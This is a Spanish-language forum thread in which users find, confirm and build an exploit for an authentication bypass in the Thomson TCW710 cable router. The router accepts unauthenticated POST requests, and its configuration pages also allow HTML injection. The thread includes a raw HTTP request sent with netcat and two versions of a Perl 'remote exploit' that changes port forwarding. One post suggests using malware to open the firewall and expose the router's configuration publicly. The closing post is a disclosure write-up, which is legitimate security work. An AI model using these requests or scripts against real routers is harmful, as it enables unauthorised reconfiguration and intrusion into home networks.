Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware
Autor
|
Tema: [°] Bugs en TCW710 (Leído 8,072 veces)
|
Stacker
Desconectado
Mensajes: 87
|
Hola tengo el router TCW710 wireless que me instaló ONO hará cosa de un año. Creo haber encontrado dos bugs en mi router pero me gustaria que alguien con el mismo hardware lo comprobara: 1) Primero quiero empezar con el menos "importante", el TCW710 admite HTML injection y necesita tener javascript habilitado para funcionar por lo que se pueden incluir scripts. Un buen sitio para probar es en el apartado control parental donde se pueden añadir keywords que bloqueará el router en la navegación. El campo tiene un máximo de caracteres a introducir pero nada nos impide copiar la página (parte HTML) y modificar el número de caracteres y también el campo action del form a cuyo valor hay que anteponer "http://[IP router]" de esta forma se ejecuta la parte HTML modificada y se envía al ASP del router. 2) El segundo tiene que ver con la "autenticación", ésta en principio es básica (base-64). Haciendo unas pruebas con netcat (nc 192.168.0.1 80 < data.txt) envié el siguiente contenido al router: Contenido de data.txt:
POST /goform/RgForwarding HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla Keep-Alive: 300 Connection: keep-alive Authorization: Basic OmFkbWlu Content-Type: application/x-www-form-urlencoded Content-Length: 1159
PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254& PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254& PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254& PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254& PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254& PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254& PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254& PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254& PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254& PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01
Lo que hace es autenticarse con la contraseña por defecto (user:"" y pass:"admin") y permitir forwarding en el puerto 80 de la ip local 192.168.0.10 (en el campo nº10). Hasta ahí todo bien... pero después de cambiar la contraseña sin acordarme de modificar el valor OmFkbWlu ¡el comando seguia funcionando! y es más intrigado eliminé la linea de autenticación y ¡funcionó!  Por si acaso reinicié mi equipo y el router y cuando lo probé volvió a funcionar. ¿Así que el router no autentica cuando se hace una petición POST?  Estas dos vulnerabilidades obviamente son locales pero un programa (incluso un batch) con malas intenciones puede hacer un agujero en el firewall apuntando a un equipo y con una utilidad como como rinetd redireccionar a la configuración del router, ofreciendo la configuración a través de la ip pública, que por cierto se puede extraer de una de las páginas de configuración... Si alguien sabe hacer esto directamente se ahorra trabajo pero al menos en mi router no funciona el marcar la casilla "Remote Config". Espero que saltar el firewall de mi router no sea tan facil...  , espero vuestras respuestas sobre todo si alguien lo puede comprobar con un router igual. Saludos Nota: La parte de datos del paquete va en una línea y recuerda actualizar "Content-Length" si modificas algo de esa parte.
|
|
|
|
« Última modificación: 25 Septiembre 2008, 15:00 por sirdarckcat »
|
En línea
|
|
|
|
|
|
|
berz3k
|
Vaya, no tengo la oportunidad de probarlo en mi LAB, espero me presten alguno para hacer algunas pruebas, si todo marcha como dices, me adelanto a crear un pequeño exploit remoto, version beta, habra que comprobar algunas otra cosas y sacarle el mayor provecho: #!/usr/bin/perl -w # # Router WiFi Thomson TCW710 # Remote Exploit bypass Authentication via "POST" # # By berz3k [berz3k at gmail.com]
use strict; use LWP; use Data::Dumper; require HTTP::Request; require HTTP::Headers;
my $method = 'POST'; # Method "GET" or "POST" my $uri = '192.168.0.1'; # Factory default IP address my $content = "/goform/RgForwarding?"; # Variable to send
my $headers = HTTP::Headers->new(
'Host:' => '192.168.0.1', 'User-Agent:' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13', 'Accept:' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'Accept-Language:' => 'en-us,en;q=0.5', 'Accept-Charset:' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive:' => '300', 'Connection:' => 'keep-alive', 'Referer:' => 'http://192.168.0.1', 'Authorization:' => 'Basic OmFkbWlu', # base64 encode 'Content-Length:' => '1159',
);
my $request = HTTP::Request->new($method, $uri, $headers, $content);
my $ua = LWP::UserAgent->new; my $response = $ua->request($request);
print "[+] Remote Exploit for TCW710 Beta\n"; print "[+] Coded by: berz3k [berz3k\@gmail.com]\n"; print "[+] We got this response from router: \n\n" . $response->content . "\n";
my $data; foreach my $pair (split('&', $response->content)) { my ($k, $v) = split('=', $pair); $data->{$k} = $v; }
if ($data->{RESULT} != 0) {
print "[+] Remote Exploit for TCW710 Beta\n"; print "[+] Coded by: berz3k [berz3k\@gmail.com]\n"; print "[+] Use:\n"; print "\tperl -x exploit_TCW710.pl\n"; print $data->{RESPMSG} . "\n"; exit(0);
} else {
print "[+] Remote Exploit for TCW710 Beta\n"; print "[+] By berz3k [berz3k\@gmail.com]\n";
}
|
|
|
|
|
En línea
|
|
|
|
GroK
Desconectado
Mensajes: 680
...I have become comfortably numb...
|
Hey, yo tengo ese router. Bueno, no es el que uso ahora mismo porque me lo cambiaron hara cosa de una semana los de ONO por un Scientific Atlanta, porque tenia problemas en la conexion y alegaban que el router estaba mal... Pero yo estoy seguro de que funciona bien. Cuando pueda compruebo esos bugs (y el exploit of course) y os comento ok?
Saludos
|
|
|
|
|
En línea
|
"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant
|
|
|
Stacker
Desconectado
Mensajes: 87
|
berz3K gracias por el exploit esto me recuerda que tengo que meterme con perl...  , así creo deberia funcionar pero tampoco haria falta la linea Authorization. Espero vuestra confirmación. Saludos
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
@Stacker La linea de "Authorization:" esta conteplada en el codigo anteriormente posteado, dentro de la variable $headers. 'Authorization:' => 'Basic OmFkbWlu', # base64 encode
|
|
|
|
|
En línea
|
|
|
|
Stacker
Desconectado
Mensajes: 87
|
@berz3k
Quise decir que así como está (incluida) funciona bien ya que aunque esa no sea la clave funciona, pero por esa misma razón puede no incluirse esa línea ya que no se efectua la comprobación (lo he probado).
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
@Stacker Ha vaya lei mal XDD, intenta comentar esa linea y ejecuta el exploit platicanos que pasa en el router y con el propio exploit, seguramente tendremos que hacer algunas modificaciones para mejorarlo. Si no tienes perl para probar, bajatelo para win32 link: :http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1003-MSWin32-x86-285500.msi Linux, esta por default. Ejecutar win32 o Linux: perl -x exploit_TCW710.pl
Ya nos platicaras. -berz3k.
|
|
|
|
|
En línea
|
|
|
|
Stacker
Desconectado
Mensajes: 87
|
Bueno, el exploit funciona a falta de unos retoques. Antes de nada quiero decir que no sabia nada de perl y lo entendia más o menos por su similitud con otros lenguajes, por tanto los retoques los hice ayudandome de google  , no obstante es perfectamente funcional aunque hay que mejorarlo. Mis modificaciones:1) Usando un sniffer me percate de que no hacian falta los dos puntos en cada campo de la cabecera porque se duplicaban (ya digo que no conozco perl). 2) La petición de la forma que la encontré en google no necesita de las variables $method y $uri. my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content); $content queda así: my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForward..."; #Variable to send 3) Para que sea más fácil incluir las peticiones (ya hay que moficar el valor de $content) puse en Content-Length el valor length($content). 4) De esta forma ya es funcional ( está probado), pero devolvía un error: Use of uninitialized value in numeric ne (!=) at exploit_TCW710.pl line 50.No he podido averiguar el por qué de este error, pero dado que no influye en el resultado final (ya se ha enviado la petición) he comentado la condicional a la espera de que encontreis solución. Resultado:#!/usr/bin/perl -w # # Router WiFi Thomson TCW710 # Remote Exploit bypass Authentication via "POST" # # By berz3k [berz3k at gmail.com]
use strict; use LWP; use Data::Dumper; require HTTP::Request; require HTTP::Headers;
my $content = "PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0&PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0&PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0&PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0&PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0&PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0&PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0&PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0&PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0&PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80&PortForwardPortGlobalEnd10=80&PortForwardProtocol10=4&PortForwardEnable10=0x01"; # Variable to send
my $headers = HTTP::Headers->new(
'Host' => '192.168.0.1', 'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13', 'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive' => '300', 'Connection' => 'keep-alive', 'Referer' => 'http://192.168.0.1', 'Content-Type' => 'application/x-www-form-urlencoded', 'Content-Length' => length($content)
);
my $request =new HTTP::Request(POST=>"http://192.168.0.1/goform/RgForwarding", $headers, $content);
my $ua = LWP::UserAgent->new; my $response = $ua->request($request);
print "[+] Remote Exploit for TCW710 Beta\n"; print "[+] Coded by: berz3k [berz3k\@gmail.com]\n"; print "[+] We got this response from router: \n\n" . $response->content . "\n";
my $data; foreach my $pair (split('&', $response->content)) { my ($k, $v) = split('=', $pair); $data->{$k} = $v; }
#if ($data->{RESULT} != 0) {
# print "[+] Remote Exploit for TCW710 Beta\n"; # print "[+] Coded by: berz3k [berz3k\@gmail.com]\n"; # print "[+] Use:\n"; # print "\tperl -x exploit_TCW710.pl\n"; # print $data->{RESPMSG} . "\n"; # exit(0);
#} else {
# print "[+] Remote Exploit for TCW710 Beta\n"; # print "[+] By berz3k [berz3k\@gmail.com]\n";
#}
Resumiendo el exploit es funcional, pero seria buena idea mejorarlo. Por ejemplo que el contenido de las peticiones que es un poco largo se pueda leer de un archivo externo, o incluso generarse con ayuda de parametros. (la primera más sencilla) Por otro lado... ¿a podido alguien comprobar el bug en otro equipo?
|
|
|
|
« Última modificación: 25 Agosto 2008, 14:37 por Stacker »
|
En línea
|
|
|
|
|
berz3k
|
Yo no he tenino la oportidad de probar el c0de sobre el equipo, el c0de lo hice a "ciegas", pero estoy seguro es bastante funcional, yo espero me presten uno pronto para probar.
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
Stacker
Desconectado
Mensajes: 87
|
Bueno, nuevas noticias, dando una vuelta por SecurityFocus.com, me di cuenta de que el cable modem TCW710 no aparecia en la lista de productos de Thomson vulnerables, pero si el TCW690 http://www.securityfocus.com/bid/12595/discuss. Como se puede ver en el enlace si que está reportada la vulnerabilidad (para el TCW690), con las mismas condiciones: -Explotable localmente -No se requiere contraseña alguna para peticiones POST Por tanto el exploit de SecurityFocus seria también totalmente funcional para el TCW710. Parece mentira que una vulnerabilidad reportada en un modelo se repita en uno superior o que no se haya solucionado, ya que afecta a varios modelos. Saludos
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
Hay que reportar de nuevo  o hay que verificar el firmware que se esta usando en este reciente modelo. -berz3k.
|
|
|
|
|
En línea
|
|
|
|
Stacker
Desconectado
Mensajes: 87
|
El firmware del TCW690 en el que se reportó es el ST42.03.0a y el de mi TCW710 el ST5D.06.03. ¿Entonces debo informar de que éste también está afectado?
Por cierto he comprobado que la otra vulnerabilidad reportada para el TCW690 junto con ésta (la de DoS), parece que sí está solucionada.
|
|
|
|
|
En línea
|
|
|
|
|
berz3k
|
No esta demas reportarlo al vendor, pero si es muy similar a bugs pasados yo creo un post en secfocus seria suficiente o mantenerlo para foro elhacker.net, solamente bien documentado con algunas screenshots, PoC, codes etc. asi cabria la posibilidad de agregarlo en la page pral o en los boletines de elhacker.net, de igual forma haciendo referencia a bugs pasados , mencionando firmware, modelo etc.
-berz3k.
|
|
|
|
|
En línea
|
|
|
|
Stacker
Desconectado
Mensajes: 87
|
Hecho, aquí están los detalles y el PoC: Mala Autenticación Thomson TCW710Vendedor: Thomson Producto: Wireless Cablemodem Gateway TCW710 Version Hardware: 5 Version Software: ST5D.06.03 Ámbito: Local, con consecuencias en la seguridad general. Descripción: El dispositivo solamente autentica las peticiones usando el método GET, cuando éstas se realizan con el método POST son aceptadas sin más. Consecuencias: Se puede aprovechar para cambiar la configuración del dispositivo por tanto se puede usar para facilitar instrusiones remotas. Otros dispositivos vulnerables: Ya había sido reportada para el cablemodem TCW690 con software ST42.03.0a, por tanto puede que haya más dispositivos vulnerables. Para el TCW690 fue reportado en securityfocus.com con BID 12595, cuenta con exploit. Otros bugs: Algunas páginas de configuración del TCW710 son susceptibles a HTML injection. PoC: Video en el que se utiliza netcat para enviar una petición con la que se permite forwarding en un rango de puertos sin usar mecanismo de utenticación alguno. http://www.youtube.com/watch?v=8JZ2Vuz3yWo | | | -Contenido de la petición usada (archivo data):
POST /goform/RgForwarding HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla Keep-Alive: 300 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 1159
PortForwardAddressLocal1IP3=0&PortForwardPortGlobalStart1=0& PortForwardPortGlobalEnd1=0&PortForwardProtocol1=254&PortForwardAddressLocal2IP3=0&PortForwardPortGlobalStart2=0& PortForwardPortGlobalEnd2=0&PortForwardProtocol2=254&PortForwardAddressLocal3IP3=0&PortForwardPortGlobalStart3=0& PortForwardPortGlobalEnd3=0&PortForwardProtocol3=254&PortForwardAddressLocal4IP3=0&PortForwardPortGlobalStart4=0& PortForwardPortGlobalEnd4=0&PortForwardProtocol4=254&PortForwardAddressLocal5IP3=0&PortForwardPortGlobalStart5=0& PortForwardPortGlobalEnd5=0&PortForwardProtocol5=254&PortForwardAddressLocal6IP3=0&PortForwardPortGlobalStart6=0& PortForwardPortGlobalEnd6=0&PortForwardProtocol6=254&PortForwardAddressLocal7IP3=0&PortForwardPortGlobalStart7=0& PortForwardPortGlobalEnd7=0&PortForwardProtocol7=254&PortForwardAddressLocal8IP3=0&PortForwardPortGlobalStart8=0& PortForwardPortGlobalEnd8=0&PortForwardProtocol8=254&PortForwardAddressLocal9IP3=0&PortForwardPortGlobalStart9=0& PortForwardPortGlobalEnd9=0&PortForwardProtocol9=254&PortForwardAddressLocal10IP3=10&PortForwardPortGlobalStart10=80& PortForwardPortGlobalEnd10=82&PortForwardProtocol10=4&PortForwardEnable10=0x01 (*)El bloque de datos de la petición va en una línea.
-Comando de envío (netcat):
nc 192.168.0.1 80 < data -Respuesta para POST:
HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.0.1/RgForwarding.asp Content-type: text/html Connection: close -Respuesta para GET: Nula, puesto que la petición es autenticada.
|
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
|